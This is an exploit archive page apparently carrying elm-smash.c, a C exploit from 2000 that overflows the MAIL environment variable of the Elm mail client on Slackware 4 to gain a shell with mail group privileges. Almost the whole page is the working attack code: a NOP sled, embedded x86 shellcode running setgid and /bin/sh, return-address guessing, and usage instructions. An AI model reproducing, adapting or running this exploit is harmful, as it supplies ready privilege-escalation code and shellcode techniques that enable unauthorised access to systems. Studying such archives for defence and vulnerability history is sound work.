exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

elm-smash.c

elm-smash.c
Posted May 5, 2000
Authored by Scrippie | Site b0f.freebsd.lublin.pl

This exploit spawns an EGID mail shell on the default Slackware 4 install.

tags | exploit, shell
systems | linux, slackware
SHA-256 | d1e67efe4126f2f7afd3ac7d85e4649457759a6fd8ea24490ca70370881514ab

elm-smash.c

Change Mirror Download
/*
Elm Exploit - Scrippie - #Phreak.nl - b0f - http://b0f.freebsd.lublin.pl

This exploit spawns an EGID mail shell on the default Slackware 4 install.

Use as: elm-smash [mail-gid] [offset]

Not that EGID=mail has got any use, but hey, think of it as group
eleviation :)

Take care and till next time!
*/

#include <stdio.h>
#define NUMNOPS 193 // If you change this, you gonna have to change
// the entire sploit ;)

// Shellcode does: setgid(12); execve("/bin/sh");
char shellcode[]="\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68";

// Oh no! Where the fuck is my code on the stack?
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
// Thanx for telling me lad :)

main(int argc, char **argv)
{
int i, offset=-300; // Offset works for my box
char gid=12;
long addy;
char *thaCode;
char *mailGid;

if(argc > 1) {
gid = (char) atoi(argv[1]);
mailGid = (char *)strchr(shellcode, 0x0c);
*mailGid = gid;
}

if(argc > 2) offset = atoi(argv[2]);

if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5))) {
fprintf(stderr, "Contact your admin and tell him to buy more RAM\n");
exit(-1);
}

addy = get_sp() - offset;

printf("/-----------------------------------------------\\\n");
printf("| Slack 4/Elm exploit - Scrippie |\n");
printf("\\-----------------------------------------------/\n");
printf("Assuming sgid(elm) = %d\n", (int) gid);
printf("Using ret addr = %x\n", addy);
printf("You're now EUID=mail, take care :-p\n");
printf("Please run \"reset\" when this works\n");
sleep(4);

memset(thaCode, 0x90, NUMNOPS);
thaCode[NUMNOPS] = 0x00; // Set to NULL to make strcat() work
strcat(thaCode, shellcode);

memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
setenv("MAIL", thaCode, 1); // We're going to be nasty now :)

if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1) {
perror("execl()");
exit(-1);
}
exit(0);
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close